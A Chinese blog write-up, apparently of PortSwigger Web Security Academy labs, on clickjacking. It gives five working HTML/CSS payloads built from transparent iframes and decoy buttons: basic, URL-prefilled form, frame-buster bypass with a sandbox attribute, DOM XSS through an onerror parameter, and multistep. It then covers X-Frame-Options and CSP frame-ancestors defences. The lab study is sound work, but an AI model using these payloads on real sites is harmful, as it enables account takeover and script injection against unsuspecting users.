PortSwigger 点击劫持(Clickjacking)

点击劫持是一种利用透明图层技术的网络攻击,用户看似点击正常内容,实则触发恶意操作。攻击手段包括CSRF令牌、URL参数预填充、帧破坏和DOMXSS。防御方法有设置X-Frame-Options和实施内容安全策略(CSP)。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、什么是点击劫持

        点击劫持(Clickjacking)是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上,当用户点击看似无害页面时,实际上是触发了隐藏在下层的有害操作,如下载恶意软件、操纵用户账户等。

        这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉,因为用户认为他们点击了无害页面上的链接,而实际上却做了完全不同的事情。

二、利用方式

        1、使用 CSRF 令牌保护的基本点击劫持  

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        #透明度
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:500px ;
        left: 59px;
        z-index: 1;
    }
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>

        2、使用从 URL 参数预填充的表单输入数据的点击劫持

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px ;
        left: 59px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0a4f001a038b7f06c4cdac0b00160045.web-security-academy.net/my-account?email=edeeer@normal-user.net"></iframe>

        3、​使用帧破坏脚本进行点击劫持​

        sandbox="allow-forms" 表示在受到 sandbox 约束的 iframe 中允许表单提交。如果不设置此项,受到约束的 iframe 中的表单将无法提交。

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:450px ;
        left: 59px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0ab700e70475ee95c127c62e00900017.web-security-academy.net/my-account?email=edeeer@normal-user.net" sandbox="allow-forms"></iframe>

        4、利用点击劫持漏洞触发基于 DOM 的 XSS

<style>
    iframe {
        position:relative;
        width:500px;
        height: 900px;
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:795px ;
        left: 59px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0ac1009e03c60905c1938589009800a3.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=1231@qq.com&subject=qweqw&message=sdfsdf" ></iframe>

        5、多步骤点击劫持

<style>
iframe {
		position:relative;
		width:500px;
		height: 700px;
		opacity: 0.0001;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:500px;
		left:60px;
		z-index: 1;
	}
   .secondClick {
		top:290px;
		left:200px;
	}
</style>
<div class="firstClick">Click me firstfirst</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a7b00fe04eeb63ac01536df008d0055.web-security-academy.net/my-account" ></iframe>

三、防御方式

        1、X-Frame-Options

        X-Frame-Options 最初是在 Internet Explorer 8 中作为非官方响应标头引入的,并迅速被其他浏览器采用。标头为网站所有者提供了对 iframe 或对象的使用的控制。

浏览器不允许当前页面在任何情况下嵌入到任何网站中X-Frame-Options: deny

浏览器允许当前页面在相同域名下的网站中显示X-Frame-Options: sameorigin

浏览器允许当前页面在指定的 URI 下的网站X-Frame-Options: allow-from https://normal-website.com

        2、 内容安全策略 (CSP)

        内容安全策略 (CSP) 是一种检测和预防机制,通过控制浏览器中加载的内容针对 XSS 和点击劫持等攻击提供缓解措施。

        CSP 的基本思想是允许网站所有者定义一份策略清单,明确指定允许哪些来源的内容被加载和执行,拒绝其余的来源。

        CSP 可以通过 HTTP响应头中的 Content-Security-Policy 或者 X-Content-Security-Policy 字段来设置,其值为一段规则字符串,规则字符串由一个或多个指令组成,指令可以通过分号或逗号来分隔。

  • frame-ancestors:该指令用于限制哪些页面可以在 <frame>、<iframe>、<embed> 和 <object> 元素中嵌入该网站的内容。
    •  Content-Security-Policy: frame-ancestors 'none';完全禁止其他网站嵌入该网站的内容。
    •  Content-Security-Policy: frame-ancestors 'self’;允许在与当前页面相同域名网站中显示。
    • Content-Security-Policy: frame-ancestors normal-website.com;允许在指定白名单域名网站中显示。

 其他配置:

  • qdefault-src:定义默认资源来源,如果某个资源没有指定来源,则会使用默认来源。
  • script-src:定义可信任的脚本来源。
  • style-src:定义可信任的样式表来源。
  • img-src:定义可信任的图片来源。
  • connect-src:定义可信任的XHR(XMLHttpRequest)来源。
  • frame-src:定义可信任的iframe来源。
  • font-src:定义可信任的字体来源。
  • media-src:定义可信任的音视频来源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值